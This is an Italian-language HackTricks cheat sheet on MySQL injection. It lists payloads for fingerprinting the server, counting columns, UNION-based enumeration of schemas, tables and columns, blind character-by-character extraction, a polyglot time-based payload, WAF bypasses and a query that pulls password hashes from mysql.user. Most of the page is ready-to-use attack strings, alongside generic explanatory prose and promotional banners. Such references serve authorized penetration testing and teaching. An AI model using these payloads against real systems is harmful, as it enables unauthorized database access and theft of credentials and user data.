MySQL injection

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

​​RootedCON è l'evento di sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro bollente per professionisti della tecnologia e della sicurezza informatica in ogni disciplina.

Commenti

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Funzioni Interessanti

Conferma Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Funzioni utili

The following functions can be useful when performing MySQL injection attacks:

Le seguenti funzioni possono essere utili durante gli attacchi di MySQL injection:

  • version(): Returns the version of the MySQL server.

  • database(): Returns the name of the current database.

  • user(): Returns the username used to connect to the MySQL server.

  • current_user(): Returns the current user.

  • @@hostname: Returns the hostname of the MySQL server.

  • @@datadir: Returns the data directory of the MySQL server.

  • @@basedir: Returns the base directory of the MySQL server.

  • @@version_compile_os: Returns the operating system on which the MySQL server was compiled.

  • @@secure_file_priv: Returns the secure file privilege value.

  • @@global.version_compile_os: Returns the operating system on which the MySQL server was compiled (global variable).

  • @@global.secure_file_priv: Returns the secure file privilege value (global variable).

  • version(): Restituisce la versione del server MySQL.

  • database(): Restituisce il nome del database corrente.

  • user(): Restituisce il nome utente utilizzato per connettersi al server MySQL.

  • current_user(): Restituisce l'utente corrente.

  • @@hostname: Restituisce il nome host del server MySQL.

  • @@datadir: Restituisce la directory dei dati del server MySQL.

  • @@basedir: Restituisce la directory di base del server MySQL.

  • @@version_compile_os: Restituisce il sistema operativo su cui è stato compilato il server MySQL.

  • @@secure_file_priv: Restituisce il valore del privilegio di file sicuro.

  • @@global.version_compile_os: Restituisce il sistema operativo su cui è stato compilato il server MySQL (variabile globale).

  • @@global.secure_file_priv: Restituisce il valore del privilegio di file sicuro (variabile globale).

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Tutte le iniezioni

Le iniezioni sono una delle vulnerabilità più comuni nei sistemi web. Consentono a un attaccante di inserire codice malevolo all'interno di un'applicazione web, sfruttando la mancanza di controlli adeguati sui dati inseriti dall'utente. Le iniezioni possono verificarsi in diversi contesti, come ad esempio le iniezioni SQL, le iniezioni di comandi di sistema e le iniezioni di codice JavaScript.

Iniezione SQL

L'iniezione SQL è una tecnica di attacco che sfrutta le vulnerabilità presenti nelle query SQL di un'applicazione web. Un attaccante può inserire codice SQL malevolo all'interno di un campo di input, che verrà poi eseguito dal database. Questo può consentire all'attaccante di ottenere informazioni sensibili, modificare i dati nel database o addirittura compromettere l'intero sistema.

Iniezione di comandi di sistema

L'iniezione di comandi di sistema è una tecnica di attacco simile all'iniezione SQL, ma invece di sfruttare le vulnerabilità nelle query SQL, sfrutta le vulnerabilità nei comandi di sistema eseguiti dall'applicazione web. Un attaccante può inserire comandi di sistema malevoli all'interno di un campo di input, che verranno poi eseguiti dal sistema operativo. Questo può consentire all'attaccante di eseguire comandi arbitrari sul server, ottenere informazioni sensibili o compromettere il sistema.

Iniezione di codice JavaScript

L'iniezione di codice JavaScript è una tecnica di attacco che sfrutta le vulnerabilità presenti nel codice JavaScript di un'applicazione web. Un attaccante può inserire codice JavaScript malevolo all'interno di un campo di input, che verrà poi eseguito dal browser dell'utente. Questo può consentire all'attaccante di eseguire azioni dannose sul browser dell'utente, come ad esempio il furto di informazioni sensibili o il dirottamento della sessione dell'utente.

Altre forme di iniezione

Oltre alle iniezioni SQL, di comandi di sistema e di codice JavaScript, esistono anche altre forme di iniezione che possono essere sfruttate dagli attaccanti. Alcuni esempi includono l'iniezione di XML, l'iniezione di LDAP, l'iniezione di XPath e l'iniezione di HTML. In ogni caso, l'obiettivo principale dell'attaccante è quello di inserire codice malevolo all'interno di un'applicazione web, al fine di ottenere informazioni sensibili o compromettere il sistema.

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

da https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Flusso

Ricorda che nelle versioni "moderne" di MySQL puoi sostituire "information_schema.tables" con "mysql.innodb_table_stats" (Questo potrebbe essere utile per eludere i WAF).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Solo 1 valore

  • group_concat()

  • Limit X,1

Blind uno per uno

  • substr(version(),X,1)='r' o substring(version(),X,1)=0x70 o ascii(substr(version(),X,1))=112

  • mid(version(),X,1)='5'

Blind aggiungendo

  • LPAD(version(),1...lenght(version()),'1')='asd'...

  • RPAD(version(),1...lenght(version()),'1')='asd'...

  • SELECT RIGHT(version(),1...lenght(version()))='asd'...

  • SELECT LEFT(version(),1...lenght(version()))='asd'...

  • SELECT INSTR('foobarbar', 'fo...')=1

Rilevare il numero di colonne

Utilizzando un semplice ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL basato su Union

La tecnica di SQL Injection basata su Union è un metodo comune per ottenere informazioni sensibili da un database MySQL compromesso. Questa tecnica sfrutta la funzione UNION di MySQL per combinare i risultati di due o più query in un'unica tabella di risultati.

Funzionamento

Per eseguire un attacco di SQL Injection basato su Union, è necessario identificare una query vulnerabile che restituisce i risultati nella pagina web. Una volta individuata la query, è possibile utilizzare l'operatore UNION per aggiungere una seconda query che restituisce le informazioni desiderate.

L'operatore UNION consente di combinare i risultati di due query in un'unica tabella di risultati. Le due query devono avere lo stesso numero di colonne e i tipi di dati delle colonne devono corrispondere. Inoltre, è necessario che le colonne selezionate nella seconda query corrispondano alle colonne selezionate nella prima query.

Esempio

Supponiamo di avere una query vulnerabile che restituisce i risultati nella pagina web:

SELECT name, email FROM users WHERE id = '1'

Per ottenere le informazioni dalla tabella "users", possiamo utilizzare l'operatore UNION per aggiungere una seconda query che restituisce le informazioni desiderate. Ad esempio, per ottenere le password degli utenti, possiamo utilizzare la seguente query:

SELECT name, password FROM users UNION SELECT NULL, password FROM mysql.user

In questo esempio, la seconda query restituisce le password degli utenti dal sistema di autenticazione di MySQL. L'uso di NULL nella prima colonna della seconda query è necessario per garantire che il numero di colonne e i tipi di dati corrispondano.

Conclusioni

La tecnica di SQL Injection basata su Union è un metodo potente per ottenere informazioni sensibili da un database MySQL compromesso. Tuttavia, è importante notare che l'utilizzo di questa tecnica può essere illegale e violare la privacy delle persone. Pertanto, è fondamentale utilizzare queste conoscenze solo a fini etici e legali, come parte di un test di penetrazione autorizzato.

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Qui puoi imparare diverse opzioni per sfruttare un'iniezione di Mysql per ottenere un SSRF.

Trucchi per bypassare il WAF

Alternative a information_schema

Ricorda che nelle versioni "moderne" di MySQL puoi sostituire information_schema.tables con mysql.innodb_table_stats o con sys.x$schema_flattened_keys o con sys.schema_table_statistics

Iniezione di MySQL senza virgole

Seleziona 2 colonne senza utilizzare virgole (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Recuperare valori senza il nome della colonna

Se in qualche momento conosci il nome della tabella ma non conosci il nome delle colonne all'interno della tabella, puoi provare a trovare quante colonne ci sono eseguendo qualcosa del genere:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Supponendo che ci siano 2 colonne (essendo la prima l'ID) e l'altra il flag, puoi provare a forzare il contenuto del flag provando carattere per carattere:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Ulteriori informazioni su https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Storia di MySQL

Puoi vedere altre esecuzioni all'interno di MySQL leggendo la tabella: sys.x$statement_analysis

Alternative di versione

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

Altre guide sull'iniezione MYSQL

Riferimenti

​​​​RootedCON è l'evento sulla sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Last updated